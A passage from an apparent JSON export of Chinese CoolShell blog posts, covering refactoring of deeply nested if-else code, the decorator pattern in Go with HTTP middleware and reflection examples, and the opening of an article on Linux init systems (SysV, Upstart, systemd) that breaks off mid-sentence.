do\\_before\\_cond2() 相关了。如果我把断行变成下面这样，反而代码逻辑更清楚了。\n\n\n\n```\n\n//重构第三版\nfor(....) {\n\n    do_before_cond1();\n    do_after_cond1();\n\n\n    if ( !cond1 ) continue;  // <-- cond1 成了是否做第二个语句块的条件\n    do_before_cond2();\n    do_after_cond2();\n\n    if ( !cond2 ) continue; // <-- cond2 成了是否做第三个语句块的条件\n    do_before_cond3();\n    do_after_cond3();\n\n    if ( !cond3 ) continue; //<-- cond3 成了是否做第四个语句块的条件\n    do_something(); \n \n}\n\n```\n\n于是乎，在未来维护代码的时候，维护人一眼看上去就明白，代码在什么时候会执行到哪里。 这个时候，你会发现，把这些语句块抽成函数，代码会干净的更多，再重构一版：\n\n\n\n```\n\n//重构第四版\nbool do_func3() {\n   do_before_cond2();\n   do_after_cond2();\n   return cond3;\n}\n\nbool do_func2() {\n   do_before_cond2();\n   do_after_cond2();\n   return cond2;\n}\n\nbool do_func1() {\n   do_before_cond1();\n   do_after_cond1();\n   return cond1;\n}\n\n// for-loop 你可以重构成这样\nfor (...) {\n    bool cond = do_func1();\n    if (cond) cond = do_func2();\n    if (cond) cond = do_func3();\n    if (cond) do_something();\n}\n\n// for-loop 也可以重构成这样\nfor (...) {\n    if ( ! do_func1() ) continue;\n    if ( ! do_func2() ) continue;\n    if ( ! do_func3() ) continue;\n    do_something();\n}\n\n```\n\n上面，我给出了两个版本的for-loop，你喜欢哪个？我喜欢第二个。这个时候，因为for-loop里的代码非常简单，就算你不喜欢 continue ，这样的代码阅读成本已经很低了。\n\n\n#### 状态检查嵌套\n\n\n接下来，我们再来看另一个示例。下面的代码的伪造了一个场景——把两个人拉到一个一对一的聊天室中，因为要检查双方的状态，所以，代码可能会写成了“箭头型”。\n\n\n\n```\n\nint ConnectPeer2Peer(Conn *pA, Conn* pB, Manager *manager)\n{\n    if ( pA->isConnected() ) {\n        manager->Prepare(pA);\n        if ( pB->isConnected() ) {\n            manager->Prepare(pB);\n            if ( manager->ConnectTogther(pA, pB) ) {\n                pA->Write(\"connected\");\n                pB->Write(\"connected\");\n                return S_OK;\n            }else{\n                return S_ERROR;\n            }\n\n        }else {\n            pA->Write(\"Peer is not Ready, waiting...\");\n            return S_RETRY;\n        }\n    }else{\n        if ( pB->isConnected() ) {\n            manager->Prepare();\n            pB->Write(\"Peer is not Ready, waiting...\");\n            return S_RETRY;\n        }else{\n            pA->Close();\n            pB->Close();\n            return S_ERROR;\n        }\n    }\n    //Shouldn't be here!\n    return S_ERROR;\n}\n```\n\n重构上面的代码，我们可以先分析一下上面的代码，说明了，上面的代码就是对 PeerA 和 PeerB 的两个状态 “连上”， “未连上” 做组合 “状态” （注：实际中的状态应该比这个还要复杂，可能还会有“断开”、“错误”……等等状态）， 于是，我们可以把代码写成下面这样，合并上面的嵌套条件，对于每一种组合都做出判断。这样一来，逻辑就会非常的干净和清楚。\n\n\n\n```\n\nint ConnectPeer2Peer(Conn *pA, Conn* pB, Manager *manager)\n{\n    if ( pA->isConnected() ) {\n        manager->Prepare(pA);\n    }\n\n    if ( pB->isConnected() ) {\n        manager->Prepare(pB);\n    }\n\n    // pA = YES && pB = NO\n    if (pA->isConnected() && ! pB->isConnected()  ) {\n        pA->Write(\"Peer is not Ready, waiting\");\n        return S_RETRY;\n    // pA = NO && pB = YES\n    }else if ( !pA->isConnected() && pB->isConnected() ) {\n        pB->Write(\"Peer is not Ready, waiting\");\n        return S_RETRY;\n    // pA = YES && pB = YES\n    }else if (pA->isConnected() && pB->isConnected()  ) {\n        if ( ! manager->ConnectTogther(pA, pB) ) {\n            return S_ERROR;\n        }\n        pA->Write(\"connected\");\n        pB->Write(\"connected\");\n        return S_OK;\n    }\n\n    // pA = NO, pB = NO\n    pA->Close();\n    pB->Close();\n    return S_ERROR;\n}\n```\n\n#### 延伸思考\n\n\n对于 `if-else` 语句来说，一般来说，就是检查两件事：**错误** 和 **状态**。\n\n\n##### 检查错误\n\n\n对于检查错误来说，使用 Guard Clauses 会是一种标准解，但我们还需要注意下面几件事：\n\n\n1）当然，出现错误的时候，还会出现需要释放资源的情况。你可以使用 `goto fail;` 这样的方式，但是最优雅的方式应该是C++面向对象式的 RAII 方式。\n\n\n2）以错误码返回是一种比较简单的方式，这种方式有很一些问题，比如，如果错误码太多，判断出错的代码会非常复杂，另外，正常的代码和错误的代码会混在一起，影响可读性。所以，在更为高组的语言中，使用 `try-catch` 异常捕捉的方式，会让代码更为易读一些。\n\n\n##### 检查状态\n\n\n对于检查状态来说，实际中一定有更为复杂的情况，比如下面几种情况：\n\n\n1）像TCP协议中的两端的状态变化。\n\n\n2）像shell各个命令的命令选项的各种组合。\n\n\n3）像游戏中的状态变化（一棵非常复杂的状态树）。\n\n\n4）像语法分析那样的状态变化。\n\n\n对于这些复杂的状态变化，其本上来说，你需要先定义一个状态机，或是一个子状态的组合状态的查询表，或是一个状态查询分析树。\n\n\n**写代码时，代码的运行中的控制状态或业务状态是会让你的代码流程变得混乱的一个重要原因，重构“箭头型”代码的一个很重要的工作就是重新梳理和描述这些状态的变迁关系**。\n\n\n#### 总结\n\n\n好了，下面总结一下，把“箭头型”代码重构掉的几个手段如下：\n\n\n1）**使用 Guard Clauses** 。 尽可能的让出错的先返回， 这样后面就会得到干净的代码。\n\n\n2）**把条件中的语句块抽取成函数**。 有人说：“如果代码不共享，就不要抽取成函数！”，持有这个观点的人太死读书了。函数是代码的封装或是抽象，并不一定用来作代码共享使用，函数用于屏蔽细节，让其它代码耦合于接口而不是细节实现，这会让我们的代码更为简单，简单的东西都能让人易读也易维护，**写出让人易读易维护的代码才是重构代码的初衷**！\n\n\n3）**对于出错处理，使用try-catch异常处理和[RAII机制](http://stackoverflow.com/questions/2321511/what-is-meant-by-resource-acquisition-is-initialization-raii)**。返回码的出错处理有很多问题，比如：A) 返回码可以被忽略，B) 出错处理的代码和正常处理的代码混在一起，C) 造成函数接口污染，比如像atoi()这种错误码和返回值共用的糟糕的函数。\n\n\n4）**对于多个状态的判断和组合，如果复杂了，可以使用“组合状态表”，或是状态机加Observer的状态订阅的设计模式**。这样的代码即解了耦，也干净简单，同样有很强的扩展性。\n\n\n5） **重构“箭头型”代码其实是在帮你重新梳理所有的代码和逻辑，这个过程非常值得为之付出**。重新整思路去想尽一切办法简化代码的过程本身就可以让人成长。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![50年前的登月程序和程序员有多硬核](../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg)](https://coolshell.cn/articles/19612.html)[50年前的登月程序和程序员有多硬核](https://coolshell.cn/articles/19612.html)\n* [![Go编程模式：修饰器](../wp-content/uploads/2017/06/go-hardhat-150x150.png)](https://coolshell.cn/articles/17929.html)[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![开发团队的效率](../wp-content/uploads/2014/06/software_development-150x150.png)](https://coolshell.cn/articles/11656.html)[开发团队的效率](https://coolshell.cn/articles/11656.html)\n* [![从Code Review 谈如何做技术](../wp-content/uploads/2014/04/code_review-150x150.jpg)](https://coolshell.cn/articles/11432.html)[从Code Review 谈如何做技术](https://coolshell.cn/articles/11432.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\nThe post [如何重构“箭头型”代码](https://coolshell.cn/articles/17757.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2017-6-1 Go编程模式：修饰器.md",
    "content": "---\nlayout: post\ntitle: Go编程模式：修饰器\ndate: 2017/6/1/ 8:48:15\nupdated: 2017/6/1/ 8:48:15\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2017/06/go-hardhat.png)之前写过一篇《[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)》，这种模式很容易的可以把一些函数装配到另外一些函数上，可以让你的代码更为的简单，也可以让一些“小功能型”的代码复用性更高，让代码中的函数可以像乐高玩具那样自由地拼装。所以，一直以来，我对修饰器decoration这种编程模式情有独钟，这里写一篇Go语言相关的文章。\n\n\n### 本文是全系列中第7 / 10篇：[Go编程模式](https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f)\n\n* [Go编程模式：切片，接口，时间和性能](https://coolshell.cn/articles/21128.html)\n* [Go 编程模式：错误处理](https://coolshell.cn/articles/21140.html)\n* [Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* [Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* Go编程模式：修饰器\n* [Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n\n« [上一篇文章](https://coolshell.cn/articles/21179.html \"Go 编程模式：Go Generation\")[下一篇文章](https://coolshell.cn/articles/21228.html \"Go编程模式：Pipeline\") »\n看过[Python修饰器](https://coolshell.cn/articles/11265.html)那篇文章的同学，一定知道这是一种函数式编程的玩法——用一个高阶函数来包装一下。多唠叨一句，关于函数式编程，可以参看我之前写过一篇文章《[函数式编程](https://coolshell.cn/articles/10822.html)》，这篇文章主要是，想通过从过程式编程的思维方式过渡到函数式编程的思维方式，从而带动更多的人玩函数式编程，所以，如果你想了解一下函数式编程，那么可以移步先阅读一下。所以，Go语言的修饰器编程模式，其实也就是函数式编程的模式。\n\n\n不过，要提醒注意的是，Go 语言的“糖”不多，而且又是强类型的静态无虚拟机的语言，所以，无法做到像 Java 和 Python 那样的优雅的修饰器的代码。当然，也许是我才才疏学浅，如果你知道有更多的写法，请你一定告诉我。先谢过了。  \n\n\n\n\n#### 简单示例\n\n\n我们先来看一个示例：\n\n\n\n```\npackage main\n\nimport \"fmt\"\n\nfunc decorator(f func(s string)) func(s string) {\n\n    return func(s string) {\n        fmt.Println(\"Started\")\n        f(s)\n        fmt.Println(\"Done\")\n    }\n}\n\nfunc Hello(s string) {\n    fmt.Println(s)\n}\n\nfunc main() {\n        decorator(Hello)(\"Hello, World!\")\n}\n```\n\n我们可以看到，我们动用了一个高阶函数 `decorator()`，在调用的时候，先把 `Hello()` 函数传进去，然后其返回一个匿名函数，这个匿名函数中除了运行了自己的代码，也调用了被传入的 `Hello()` 函数。\n\n\n这个玩法和 Python 的异曲同工，只不过，有些遗憾的是，Go 并不支持像 Python 那样的 `@decorator` 语法糖。所以，在调用上有些难看。当然，如果你要想让代码容易读一些，你可以这样：\n\n\n\n```\nhello := decorator(Hello)\nhello(\"Hello\")\n```\n\n我们再来看一个和计算运行时间的例子：\n\n\n\n```\npackage main\n\nimport (\n  \"fmt\"\n  \"reflect\"\n  \"runtime\"\n  \"time\"\n)\n\ntype SumFunc func(int64, int64) int64\n\nfunc getFunctionName(i interface{}) string {\n  return runtime.FuncForPC(reflect.ValueOf(i).Pointer()).Name()\n}\n\nfunc timedSumFunc(f SumFunc) SumFunc {\n  return func(start, end int64) int64 {\n\n    defer func(t time.Time) {\n      fmt.Printf(\"--- Time Elapsed (%s): %v ---\\n\", \n          getFunctionName(f), time.Since(t))\n    }(time.Now())\n\n    return f(start, end)\n  }\n}\n\nfunc Sum1(start, end int64) int64 {\n  var sum int64\n  sum = 0\n  if start > end {\n    start, end = end, start\n  }\n  for i := start; i <= end; i++ {\n    sum += i\n  }\n  return sum\n}\n\nfunc Sum2(start, end int64) int64 {\n  if start > end {\n    start, end = end, start\n  }\n  return (end - start + 1) * (end + start) / 2\n}\n\nfunc main() {\n\n  sum1 := timedSumFunc(Sum1)\n  sum2 := timedSumFunc(Sum2)\n\n  fmt.Printf(\"%d, %d\\n\", sum1(-10000, 10000000), sum2(-10000, 10000000))\n}\n```\n\n关于上面的代码，有几个事说明一下：\n\n\n1）有两个 Sum 函数，`Sum1()` 函数就是简单的做个循环，`Sum2()` 函数动用了数据公式。（注意：start 和 end 有可能有负数的情况）\n\n\n2）代码中使用了 Go 语言的反射机器来获取函数名。\n\n\n3）修饰器函数是 `timedSumFunc()`\n\n\n运行后输出：\n\n\n\n```\n$ go run time.sum.go\n--- Time Elapsed (main.Sum1): 3.557469ms ---\n--- Time Elapsed (main.Sum2): 291ns ---\n49999954995000, 49999954995000\n\n```\n\n#### HTTP 相关的一个示例\n\n\n我们再来看一个处理 HTTP 请求的相关的例子。\n\n\n先看一个简单的 HTTP Server 的代码。\n\n\n\n```\npackage main\n\nimport (\n    \"fmt\"\n    \"log\"\n    \"net/http\"\n    \"strings\"\n)\n\nfunc WithServerHeader(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"--->WithServerHeader()\")\n        w.Header().Set(\"Server\", \"HelloServer v0.0.1\")\n        h(w, r)\n    }\n}\n\nfunc hello(w http.ResponseWriter, r *http.Request) {\n    log.Printf(\"Recieved Request %s from %s\\n\", r.URL.Path, r.RemoteAddr)\n    fmt.Fprintf(w, \"Hello, World! \"+r.URL.Path)\n}\n\nfunc main() {\n    http.HandleFunc(\"/v1/hello\", WithServerHeader(hello))\n    err := http.ListenAndServe(\":8080\", nil)\n    if err != nil {\n        log.Fatal(\"ListenAndServe: \", err)\n    }\n}\n```\n\n上面代码中使用到了修饰模式，`WithServerHeader()` 函数就是一个 Decorator，其传入一个 `http.HandlerFunc`，然后返回一个改写的版本。上面的例子还是比较简单，用 `WithServerHeader()` 就可以加入一个 Response 的 Header。\n\n\n于是，这样的函数我们可以写出好些个。如下所示，有写 HTTP 响应头的，有写认证 Cookie 的，有检查认证Cookie的，有打日志的……\n\n\n\n```\npackage main\n\nimport (\n    \"fmt\"\n    \"log\"\n    \"net/http\"\n    \"strings\"\n)\n\nfunc WithServerHeader(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"--->WithServerHeader()\")\n        w.Header().Set(\"Server\", \"HelloServer v0.0.1\")\n        h(w, r)\n    }\n}\n\nfunc WithAuthCookie(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"--->WithAuthCookie()\")\n        cookie := &http.Cookie{Name: \"Auth\", Value: \"Pass\", Path: \"/\"}\n        http.SetCookie(w, cookie)\n        h(w, r)\n    }\n}\n\nfunc WithBasicAuth(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"--->WithBasicAuth()\")\n        cookie, err := r.Cookie(\"Auth\")\n        if err != nil || cookie.Value != \"Pass\" {\n            w.WriteHeader(http.StatusForbidden)\n            return\n        }\n        h(w, r)\n    }\n}\n\nfunc WithDebugLog(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"--->WithDebugLog\")\n        r.ParseForm()\n        log.Println(r.Form)\n        log.Println(\"path\", r.URL.Path)\n        log.Println(\"scheme\", r.URL.Scheme)\n        log.Println(r.Form[\"url_long\"])\n        for k, v := range r.Form {\n            log.Println(\"key:\", k)\n            log.Println(\"val:\", strings.Join(v, \"\"))\n        }\n        h(w, r)\n    }\n}\nfunc hello(w http.ResponseWriter, r *http.Request) {\n    log.Printf(\"Recieved Request %s from %s\\n\", r.URL.Path, r.RemoteAddr)\n    fmt.Fprintf(w, \"Hello, World! \"+r.URL.Path)\n}\n\nfunc main() {\n    http.HandleFunc(\"/v1/hello\", WithServerHeader(WithAuthCookie(hello)))\n    http.HandleFunc(\"/v2/hello\", WithServerHeader(WithBasicAuth(hello)))\n    http.HandleFunc(\"/v3/hello\", WithServerHeader(WithBasicAuth(WithDebugLog(hello))))\n    err := http.ListenAndServe(\":8080\", nil)\n    if err != nil {\n        log.Fatal(\"ListenAndServe: \", err)\n    }\n}\n```\n\n#### 多个修饰器的 Pipeline\n\n\n在使用上，需要对函数一层层的套起来，看上去好像不是很好看，如果需要 decorator 比较多的话，代码会比较难看了。嗯，我们可以重构一下。\n\n\n重构时，我们需要先写一个工具函数——用来遍历并调用各个 decorator：\n\n\n\n```\ntype HttpHandlerDecorator func(http.HandlerFunc) http.HandlerFunc\n\nfunc Handler(h http.HandlerFunc, decors ...HttpHandlerDecorator) http.HandlerFunc {\n    for i := range decors {\n        d := decors[len(decors)-1-i] // iterate in reverse\n        h = d(h)\n    }\n    return h\n}\n```\n\n然后，我们就可以像下面这样使用了。\n\n\n\n```\nhttp.HandleFunc(\"/v4/hello\", Handler(hello,\n                WithServerHeader, WithBasicAuth, WithDebugLog))\n```\n\n这样的代码是不是更易读了一些？pipeline 的功能也就出来了。\n\n\n#### 泛型的修饰器\n\n\n不过，对于 Go 的修饰器模式，还有一个小问题 —— 好像无法做到泛型，就像上面那个计算时间的函数一样，其代码耦合了需要被修饰的函数的接口类型，无法做到非常通用，如果这个事解决不了，那么，这个修饰器模式还是有点不好用的。\n\n\n因为 Go 语言不像 Python 和 Java，Python是动态语言，而 Java 有语言虚拟机，所以他们可以干好些比较变态的事，然而 Go 语言是一个静态的语言，这意味着其类型需要在编译时就要搞定，否则无法编译。不过，Go 语言支持的最大的泛型是 `interface{}` 还有比较简单的 reflection 机制，在上面做做文章，应该还是可以搞定的。\n\n\n废话不说，下面是我用 reflection 机制写的一个比较通用的修饰器（为了便于阅读，我删除了出错判断代码）\n\n\n\n```\nfunc Decorator(decoPtr, fn interface{}) (err error) {\n    var decoratedFunc, targetFunc reflect.Value\n\n    decoratedFunc = reflect.ValueOf(decoPtr).Elem()\n    targetFunc = reflect.ValueOf(fn)\n\n    v := reflect.MakeFunc(targetFunc.Type(),\n            func(in []reflect.Value) (out []reflect.Value) {\n                fmt.Println(\"before\")\n                out = targetFunc.Call(in)\n                fmt.Println(\"after\")\n                return\n            })\n\n    decoratedFunc.Set(v)\n    return\n}\n```\n\n上面的代码动用了 `reflect.MakeFunc()` 函数制出了一个新的函数其中的 `targetFunc.Call(in)` 调用了被修饰的函数。关于 Go 语言的反射机制，推荐官方文章 —— 《[The Laws of Reflection](https://blog.golang.org/laws-of-reflection)》，在这里我不多说了。\n\n\n上面这个 `Decorator()` 需要两个参数，\n\n\n* 第一个是出参 `decoPtr` ，就是完成修饰后的函数\n* 第二个是入参 `fn` ，就是需要修饰的函数\n\n\n这样写是不是有些二？的确是的。不过，这是我个人在 Go 语言里所能写出来的最好的的代码了。如果你知道更多优雅的，请你一定告诉我！\n\n\n好的，让我们来看一下使用效果。首先假设我们有两个需要修饰的函数：\n\n\n\n```\nfunc foo(a, b, c int) int {\n    fmt.Printf(\"%d, %d, %d \\n\", a, b, c)\n    return a + b + c\n}\n\nfunc bar(a, b string) string {\n    fmt.Printf(\"%s, %s \\n\", a, b)\n    return a + b\n}\n```\n\n然后，我们可以这样做：\n\n\n\n```\ntype MyFoo func(int, int, int) int\nvar myfoo MyFoo\nDecorator(&myfoo, foo)\nmyfoo(1, 2, 3)\n\n```\n\n你会发现，使用 `Decorator()` 时，还需要先声明一个函数签名，感觉好傻啊。一点都不泛型，不是吗？\n\n\n嗯。如果你不想声明函数签名，那么你也可以这样\n\n\n\n```\nmybar := bar\nDecorator(&mybar, bar)\nmybar(\"hello,\", \"world!\")\n```\n\n好吧，看上去不是那么的漂亮，但是 it works。看样子 Go 语言目前本身的特性无法做成像 Java 或 Python 那样，对此，我们只能多求 Go 语言多放糖了！\n\n\nAgain， 如果你有更好的写法，请你一定要告诉我。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [![Go 编程模式：Functional Options](../wp-content/uploads/2020/12/go.options-150x150.png)](https://coolshell.cn/articles/21146.html)[Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\nThe post [Go编程模式：修饰器](https://coolshell.cn/articles/17929.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2017-7-16 Linux PID 1 和 Systemd.md",
    "content": "---\nlayout: post\ntitle: Linux PID 1 和 Systemd\ndate: 2017/7/16/ 13:40:55\nupdated: 2017/7/16/ 13:40:55\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2017/07/systemd.jpeg)要说清 Systemd，得先从Linux操作系统的启动说起。Linux 操作系统的启动首先从 BIOS 开始，然后由 Boot Loader 载入内核，并初始化内核。内核初始化的最后一步就是启动 init 进程。这个进程是系统的第一个进程，PID 为 1，又叫超级进程，也叫根进程。它负责产生其他所有用户进程。所有的进程都会被挂在这个进程下，如果这个进程退出了，那么所有的进程都被 kill 。如果一个子进程的父进程退了，那么这个子进程会被挂到 PID 1 下面。（注：PID 0 是内核的一部分，主要用于内进换页，参看：[Process identifier](http://en.wikipedia.org/wiki/Process_identifier)）\n\n\n#### SysV Init\n\n\nPID 1 这个进程非常特殊，其主要就任务是把整个操作系统带入可操作的状态。比如：启动 UI – Shell 以便进行人机交互，或者进入 X 图形窗口。传统上，PID 1 和传统的 Unix System V 相兼容的，所以也叫 `sysvinit`，这是使用得最悠久的 init 实现。Unix System V 于1983年 release。\n\n\n在 `sysvint` 下，有好几个运行模式，又叫 `runlevel`。比如：常见的 3 级别指定启动到多用户的字符命令行界面，5 级别指定启起到图形界面，0 表示关机，6 表示重启。其配置在 `/etc/inittab` 文件中。\n\n\n\n与此配套的还有 `/etc/init.d/` 和 `/etc/rc[X].d`，前者存放各种进程的启停脚本（需要按照规范支持 `start`，`stop`子命令），后者的 X 表示不同的 runlevel 下相应的后台进程服务，如：`/etc/rc3.d` 是 runlevel=3 的。 里面的文件主要是 link 到  `/etc/init.d/` 里的启停脚本。其中也有一定的命名规范：S 或 K 打头的，后面跟一个数字，然后再跟一个自定义的名字，如：`S01rsyslog`，`S02ssh`。S 表示启动，K表示停止，数字表示执行的顺序。\n\n\n#### UpStart\n\n\nUnix 和 Linux 在 `sysvint` 运作多年后，大约到了2006年的时候，Linux内核进入2.6时代，Linux有了很多更新。并且，Linux开始进入桌面系统，而桌面系统和服务器系统不一样的是，桌面系统面临频繁重启，而且，用户会非常频繁的使用硬件的热插拔技术。于是，这些新的场景，让 `sysvint` 受到了很多挑战。\n\n\n比如，打印机需要CUPS等服务进程，但是如果用户没有打机印，启动这个服务完全是一种浪费，而如果不启动，如果要用打印机了，就无法使用，因为`sysvint` 没有自动检测的机制，它只能一次性启动所有的服务。另外，还有网络盘挂载的问题。在 `/etc/fstab` 中，负责硬盘挂载，有时候还有网络硬盘（NFS 或 iSCSI）在其中，但是在桌面机上，有很可能开机的时候是没有网络的， 于是网络硬盘都不可以访问，也无法挂载，这会极大的影响启动速度。`sysvinit` 采用 `netdev` 的方式来解决这个问题，也就是说，需要用户自己在 `/etc/fstab` 中给相应的硬盘配置上 `netdev` 属性，于是 `sysvint` 启动时不会挂载它，只有在网络可用后，由专门的 `netfs` 服务进程来挂载。这种管理方式比较难以管理，也很容易让人掉坑。\n\n\n所以，Ubuntu 开发人员在评估了当时几个可选的 init 系统后，决定重新设计这个系统，于是，这就是我们后面看到的 `upstart` 。 `upstart` 基于事件驱动的机制，把之前的完全串行的同步启动服务的方式改成了由事件驱动的异步的方式。比如：如果有U盘插入，`udev` 得到通知，`upstart` 感知到这个事件后触发相应的服务程序，比如挂载文件系统等等。因为使用一个事件驱动的玩法，所以，启动操作系统时，很多不必要的服务可以不用启动，而是等待通知，lazy 启动。而且事件驱动的好处是，可以并行启动服务，他们之间的依赖关系，由相应的事件通知完成。\n\n\nupstart 有着很不错的设计，其中最重要的两个概念是 Job 和 Event。\n\n\n**Job** 有一般的Job，也有service的Job，并且，`upstart` 管理了整个 Job 的生命周期，比如：Waiting, Starting, pre-Start, Spawned, post-Start, Running, pre-Stop, Stopping, Killed, post-Stop等等，并维护着这个生命周期的状态机。\n\n\n**Event** 分成三类，`signal`, `method` 和 `hooks`。`signal` 就是异步消息，`method` 是同步阻塞的。`hooks` 也是同步的，但介于前面两者之间，发出hook事件的进程必须等到事件完成，但不检查是否成功。\n\n\n但是，`upstart` 的事件非常复杂，也非常纷乱，各种各样的事件（事件没有归好类）导致有点凌乱。不过因为整个事件驱动的设计比之前的 `sysvinit` 来说好太多，所以，也深得欢迎。\n\n\n#### Systemd\n\n\n直到2010的有一天，一个在 RedHat工作的工程师 [Lennart Poettering](https://en.wikipedia.org/wiki/Lennart_Poettering \"Lennart Poettering\") 和 [Kay Sievers](https://en.wikipedia.org/wiki/Kay_Sievers \"Kay Sievers\") ，开始引入了一个新的 `init` 系统—— `systemd`。这是一个非常非常有野心的项目，这个项目几乎改变了所有的东西，`systemd` 不但想取代已有的 init 系统，而且还想干更多的东西。\n\n\nLennart 同意 `upstart` 干的不错，代码质量很好，基于事件的设计也很好。但是他觉得 `upstart` 也有问题，其中最大的问题还是不够快，虽然 `upstart` 用事件可以达到一定的启动并行度，但是，本质上来说，这些事件还是会让启动过程串行在一起。  如：`NetworkManager` 在等 `D-Bus` 的启动事件，而 `D-Bus` 在等 `syslog` 的启动事件。\n\n\nLennart 认为，实现上来说，`upstart` 其实是在管理一个逻辑上的服务依赖树，但是这个服务依赖树在表现形式上比较简单，你只需要配置——“启动 B好了就启动A”或是“停止了A后就停止B”这样的规则。但是，Lennart 说，这种简单其实是有害的（this simplification is actually detrimental）。他认为，\n\n\n* 从一个系统管理的角度出来，他一开始会设定好整个系统启动的服务依赖树，但是这个系统管理员要人肉的把这个本来就非常干净的服务依整树给翻译成计算机看的懂的 Event/Action 形式，而且 Event/Action 这种配置方式是运行时的，所以，你需要运行起来才知道是什么样的。\n\n\n* Event逻辑从头到脚到处都是，这个事件扩大了运维的复杂度，还不如之前的 `sysvint`。 也就是说，当用户配置了 “启动 `D-Bus` 后请启动 `NetworkManager`”， 这个 `upstart` 可以干，但是反过来，如果，用户启动 `NetworkManager`，我们应该先去启动他的前置依赖 `D-Bus`，然而你还要配置相应的反向 Event。本来，我只需要配置一条依赖的，结果现在我要配置很多很多情况下的Event。\n\n\n* 最后，`upstart` 里的 Event 的并不标准，很混乱，没有良好的定义。比如：既有，进程启动，运行，停止的事件，也有USB设备插入、可用、拔出的事件，还有文件系统设备being mounted、 mounted 和 umounted 的事件，还有AC电源线连接和断开的事件。你会发现，这进程启停的、USB的、文件系统的、电源线的事件，看上去长得很像， 但是没有被标准化抽像出来掉，因为绝大多数的事件都是三元组：start, condition, stop 。这种概念设计模型并没有在 `upstart` 中出现。因为 `upstart` 被设计为单一的事件，而忽略了逻辑依赖。\n\n\n当然，如果 `systemd` 只是解决 `upstart` 的问题，他就改造 `upstart` 就好了，但是 Lennart 的野心不只是想干个这样的事，他想干的更多。\n\n\n首先，`systemd` 清醒的认识到了 init 进程的首要目标是要让用户快速的进入可以操作OS的环境，所以，这个速度一定要快，越快越好，所以，`systemd` 的设计理念就是两条：\n\n\n* To start **less**.\n* And to start **more** in *parallel*.\n\n\n也就是说，按需启动，能不启动就不启动，如果要启动，能并行启动就并行启动，包括你们之间有依赖，我也并行启动。按需启动还好理解，那么，有依赖关系的并行启动，它是怎么做到的？这里，`systemd` 借鉴了 MacOS 的 `Launchd` 的玩法（在Youtube上有一个分享——[Launchd: One Program to Rule them All](https://www.youtube.com/watch?v=SjrtySM9Dns)，在苹果的开源网站上也有相关的设计文档——[About Daemons and Services](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/Introduction.html)）\n\n\n要解决这些依赖性，systemd 需要解决好三种底层依赖—— Socket， D-Bus ，文件系统。\n\n\n* **Socket依赖**。如果服务C依赖于服务S的socket，那么就要先启动S，然后再启动C，因为如果C启动时找不到S的Socket，那么C就会失败。`systemd` 可以帮你在S还没有启动好的时候，建立一个socket，用来接收所有的C的请求和数据，并缓存之，一旦S全部启动完成，把systemd替换好的这个缓存的数据和Socket描述符替换过去。\n\n\n \n\n\n* **D-Bus依赖**。`D-Bus` 全称 Desktop Bus，是一个用来在进程间通信的服务。除了用于用户态进程和内核态进程通信，也用于用户态的进程之前。现在，很多的现在的服务进程都用 `D-Bus` 